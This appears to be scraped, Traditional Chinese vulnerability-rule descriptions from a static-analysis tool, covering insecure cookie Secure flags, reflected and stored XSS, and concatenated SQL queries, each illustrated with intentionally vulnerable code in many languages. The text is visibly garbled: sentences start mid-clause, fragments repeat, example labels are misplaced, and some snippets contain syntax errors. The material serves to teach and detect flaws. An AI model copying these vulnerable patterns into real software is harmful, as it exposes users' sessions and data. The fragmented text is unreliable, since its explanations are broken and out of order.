Secure 旗標未設為 true。Secure 旗標。若已設定旗標，則瀏覽器僅會透過 HTTPS 傳送 Cookie。透過未加密的通道傳送 Cookie，易使 Cookie 受到網路攔截攻擊，因此安全旗標可維持 Cookie 值的機密性。若 Cookie 包含隱私資料或附帶階段作業識別碼，這將更為重要。Secure 旗標。
...
<configuration>
<system.web>
<authentication mode="Forms">
<forms requireSSL="false" loginUrl="login.aspx">
</forms>
</authentication>
</system.web>
</configuration>
...
Secure 旗標，則在後續的 HTTP 要求期間，也會傳送在 HTTPS 要求時所傳送的 Cookie。透過未加密的無線連線攔截網路流量，對攻擊者而言是稀鬆平常之事，所以透過 HTTP 傳送 Cookie (尤其是含階段作業 ID 的 Cookie) 可能會造成應用程式資料外洩。Secure 旗標。若已設定旗標，則瀏覽器僅會透過 HTTPS 傳送 Cookie。透過未加密的通道傳送 Cookie，易使 Cookie 受到網路攔截攻擊，因此安全旗標可維持 Cookie 值的機密性。若 Cookie 包含隱私資料或附帶階段作業識別碼，這將更為重要。Secure 旗標。
server.servlet.session.cookie.secure=false
Secure 旗標，則在後續的 HTTP 要求期間，也會傳送在 HTTPS 要求時所傳送的 Cookie。隨後攻擊者可能會攔截未加密的網路流量，進而危及 Cookie，這在無線網路會更加容易。Secure 旗標設為 trueSecure 旗標。若已設定旗標，則瀏覽器僅會透過 HTTPS 傳送 cookie。透過未加密的通道傳送 cookie，易使 cookie 受到網路攔截攻擊，因此安全旗標可維持 cookie 值的機密性。若 cookie 包含隱私資料或附帶階段作業識別碼，這將更為重要。Secure 旗標。
...
setcookie("emailCookie", $email, 0, "/", "www.example.com");
...
Secure 旗標，則在後續的 HTTP 要求期間，也會傳送在 HTTPS 要求時所傳送的 Cookie。隨後攻擊者可能會攔截未加密的網路流量，進而危及 Cookie，這在無線網路會更加容易。SESSION_COOKIE_SECURE 屬性明確設為 True，或是將其設為 False。Secure 旗標。若已設定旗標，則瀏覽器僅會透過 HTTPS 傳送 cookie。透過未加密的通道傳送 cookie，易使 cookie 受到網路攔截攻擊，因此安全旗標可維持 cookie 值的機密性。如果 Cookie 包含私人資料或階段作業識別碼，或附帶 CSRF 權杖，這將更為重要。Secure 位元。
...
MIDDLEWARE = (
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'csp.middleware.CSPMiddleware',
'django.middleware.security.SecurityMiddleware',
...
)
...
Secure 旗標，則在後續的 HTTP 要求期間，也會傳送在 HTTPS 要求時所傳送的 Cookie。隨後攻擊者可能會攔截未加密的網路流量，進而危及 Cookie，這在無線網路會更加容易。eid，並向使用者顯示。
String eid = Request["eid"];
...
EmployeeID.Text = eid;
EmployeeID 是定義如下的伺服器端 ASP.NET 控制項：
<form runat="server">
...
<asp:Label id="EmployeeID" runat="server"/>
...
</form>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
string name = "";
using (SqlConnection conn = new SqlConnection(_ConnectionString))
{
string eid = Request["eid"];
SqlCommand cmd = new SqlCommand("SELECT * FROM emp WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", eid);
conn.Open();
SqlDataReader objReader = cmd.ExecuteReader();
while (objReader.Read())
{
name = objReader["name"];
}
objReader.Close();
}
...
EmployeeName.Text = name;
EmployeeName 是定義如下的伺服器端 ASP.NET 控制項：
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server"/>
...
</form>
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。user，並向使用者顯示。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證，那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其極其隱蔽，會因為間接的資料儲存方式而難以辨別該威脅，並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所示，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時，就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所示，應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者執行需要權限許可的操作，或者取得存取使用者專屬敏感資料的權限。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。eid，並將其向使用者顯示。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。eid，然後在 servlet 的回應中向使用者顯示其值。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
@property (strong, nonatomic) NSString *webContentFromURL;
...
- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
...
[self setWebContentFromURL:[url host]];
...
...
...
@property (strong, nonatomic) WKWebView *webView;
...
AppDelegate *appDelegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
...
[_webView loadHTMLString:appDelegate.webContentFromURL] baseURL:nil];
...
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView loadHTMLString:_inputTextField.text baseURL:nil];
...
inputTextField 中的文字只包含標準英數字元，這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼，那麼網路瀏覽器就會像顯示 HTTP 回應那樣，可能會將輸入當成程式碼來執行。
...
@property (strong, nonatomic) WKWebView *webView;
...
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
NSEntityDescription *entity = [NSEntityDescription entityForName:@"Employee" inManagedObjectContext:context];
[fetchRequest setEntity:entity];
NSArray *fetchedObjects = [context executeFetchRequest:fetchRequest error:&error];
for (NSManagedObject *info in fetchedObjects) {
NSString msg = @"Hello, " + [info valueForKey:@"name"];
[_webView loadHTMLString:msg baseURL:nil]
...
}
...
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求，之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式，並會包含在動態內容中。Example 2 所述，會直接從使用者可控制的 UI 元件讀取資料，並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = WKWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
loadHTMLString: 的字串是使用者可控制的，並且 WKWebView 內依預設已啟用 JavaScript，因此使用者可透過使用應用程式自訂 URL 架構的要求，將任意內容 (包括可執行檔指令碼) 寫入 WKWebView。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 中的文字只包含標準英數字元，這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼，那麼網路瀏覽器就會像顯示 HTTP 回應那樣，可能會將輸入當成程式碼來執行。
let fetchRequest = NSFetchRequest()
let entity = NSEntityDescription.entityForName("Employee", inManagedObjectContext: managedContext)
fetchRequest.entity = entity
do {
let results = try managedContext.executeFetchRequest(fetchRequest)
let result : NSManagedObject = results.first!
let name : String = result.valueForKey("name")
let msg : String = "Hello, \(name)"
let webView : UIWebView = UIWebView()
webView.loadHTMLString(msg, baseURL:nil)
} catch let error as NSError {
print("Error \(error)")
}
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求，之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式，並會包含在動態內容中。Example 2 所述，會直接從使用者可控制的 UI 元件讀取資料，並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
<script runat="server">
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
</script>
EmployeeName 是定義如下的表單控制項：範例 2：以下 ASP.NET 程式碼片段的功能與之前的
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1 相當，不過卻是以程式設計方式來實作所有的表單元素。
protected System.Web.UI.WebControls.Label EmployeeName;
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
Name 值正常運作時，這些程式碼範例也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 Name 值是從雲端提供的儲存服務中讀取的，且顯然是由分散式應用程式管理這些值的內容。但是，如果 Name 的值是從使用者提供的資料中產生，那麼雲端提供的儲存服務可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊，被稱作 Inter-Component Communication Cloud XSS，是特別狡詐的，因為間接的資料儲存方式使得該威脅難以辨別，而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login 和 EmployeeID 是定義如下的表單控制項：範例 4：以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1 和 Example 2 所述，如果 Login 只包含標準英數字元，這些範例就會正確運作。如果 Login 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 和 Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Inter-Component Communication Cloud XSS 攻擊會在以下情況出現：攻擊者把危險內容注入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 和 Example 4 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。eid，並顯示給使用者。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並將識別碼顯示給使用者。
...
